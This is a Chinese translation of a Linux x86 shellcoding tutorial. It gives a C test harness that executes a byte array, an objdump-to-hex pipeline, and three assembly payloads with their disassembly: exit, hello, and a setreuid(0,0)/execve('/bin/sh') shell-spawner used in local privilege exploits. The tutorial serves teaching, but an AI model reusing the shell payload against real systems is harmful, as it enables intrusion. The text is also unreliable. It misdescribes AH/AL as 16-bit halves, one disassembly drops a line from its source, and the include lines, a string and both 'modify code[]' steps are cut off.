翻译自:http://www.vividmachines.com/shellcode/shellcode.html
编写环境:
1. 基于x86系统,使用32位通用寄存器:eax,ebx,ecx,edx
2. AH,BH,CH,DH使用通用寄存器的高16位
3. AL,BL,CL,DL使用通用寄存器的低16位
4. ESI和EDI用于Linux syscalls
5. syscalls最多使用6个参数,用通用寄存器传递
6. xor eax,eax是将寄存器清零的最好方法(会避免邪恶的NULL字节)
工具:
gcc
nasm
ld
objdump
可选工具:
odfhex.c: 借助("objdump -d")将shellcode转换为十六进制字符串
使用的另外一个工具提取:
objdump -d ./exiter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
shellcodetest.c: 测试shellcode的代码
正文:
Linux Shellcoding
测试shellcode的最好方法是将其插入到程序中运行。测试代码如下:
/*shellcodetest.c*/
//源代码有问题,这是修改后的
#include
#include
unsigned char code[]="your shell code";
main()
{
printf("Shellcode Length: %d\n",strlen(code));
int (*ret)()=(int(*)())code;
ret();
}
;exit.asm
[SECTION .text]
global _start
_start:
xor eax, eax ;exit()函数 编号为1
mov al, 1 ;exit is syscall 1
xor ebx,ebx ;返回值为0
int 0x80
steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter
exiter: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: b0 01 mov $0x1,%al
8048082: 31 db xor %ebx,%ebx
8048084: cd 80 int $0x80
objdump -d ./exiter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
;hello.asm
[SECTION .text]
global _start
_start:
jmp short ender
starter:
xor eax, eax ;寄存器清零
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4 ;调用write()函数
mov bl, 1 ;stdout 的文件描述符为1
pop ecx ;巧妙利用call指令,从栈顶获取字符串地址
mov dl, 5 ;字符串长度
int 0x80
xor eax, eax
mov al, 1 ;调用exit(),退出shellcode,返回值为0
xor ebx,ebx
int 0x80
ender:
call starter ;call会将字符串地址压入栈,再跳转到starter,call=push jmp
db 'hello
编译提取shellcode的十六进制代码:(参照例1步骤)
steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello
hello: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: eb 19 jmp 804809b
08048082 :
8048082: 31 c0 xor %eax,%eax
8048084: 31 db xor %ebx,%ebx
8048086: 31 d2 xor %edx,%edx
8048088: 31 c9 xor %ecx,%ecx
804808a: b0 04 mov $0x4,%al
804808c: b3 01 mov $0x1,%bl
804808e: 59 pop %ecx
804808f: b2 05 mov $0x5,%dl
8048091: cd 80 int $0x80
8048093: 31 c0 xor %eax,%eax
8048095: b0 01 mov $0x1,%al
8048097: 31 db xor %ebx,%ebx
8048099: cd 80 int $0x80
0804809b :
804809b: e8 e2 ff ff ff call 8048082
80480a0: 68 65 6c 6c 6f push $0x6f6c6c65
在shellcodetest中,修改code[]:
;shellex.asm
[SECTION .text]
global _start
_start:
xor eax, eax
mov al, 70 ;setreuid is syscall 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
starter:
pop ebx ;弹出栈顶的字符串地址,付给ebx
xor eax, eax
mov [ebx+7 ], al ;put a NULL where the N is in the string
mov [ebx+8 ], ebx ;将AAAA字符替换为字符串的地址
mov [ebx+12], eax ;将BBBB字符替换为null
mov al, 11 ;execve 系统编号位 11
lea ecx, [ebx+8] ;字符串地址
lea edx, [ebx+12] ;传递空字符地址
int 0x80 ;调用execve,获取到shell!
ender:
call starter
db '/bin/shNAAAABBBB'
编译提取shellcode的十六进制字符串:
steve hanna@1337b0x:~$ nasm -f elf shellex.asm
steve hanna@1337b0x:~$ ld -o shellex shellex.o
steve hanna@1337b0x:~$ objdump -d shellex
shellex: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: b0 46 mov $0x46,%al
8048084: 31 db xor %ebx,%ebx
8048086: 31 c9 xor %ecx,%ecx
8048088: cd 80 int $0x80
804808a: eb 16 jmp 80480a2
0804808c :
804808c: 5b pop %ebx
804808d: 31 c0 xor %eax,%eax
804808f: 88 43 07 mov %al,0x7(%ebx)
8048092: 89 5b 08 mov %ebx,0x8(%ebx)
8048095: 89 43 0c mov %eax,0xc(%ebx)
8048098: b0 0b mov $0xb,%al
804809a: 8d 4b 08 lea 0x8(%ebx),%ecx
804809d: 8d 53 0c lea 0xc(%ebx),%edx
80480a0: cd 80 int $0x80
080480a2 :
80480a2: e8 e5 ff ff ff call 804808c
80480a7: 2f das
80480a8: 62 69 6e bound %ebp,0x6e(%ecx)
80480ab: 2f das
80480ac: 73 68 jae 8048116
80480ae: 58 pop %eax
80480af: 41 inc %ecx
80480b0: 41 inc %ecx
80480b1: 41 inc %ecx
80480b2: 41 inc %ecx
80480b3: 42 inc %edx
80480b4: 42 inc %edx
80480b5: 42 inc %edx
80480b6: 42 inc %edx
在shellcodetest.c中修改code[]: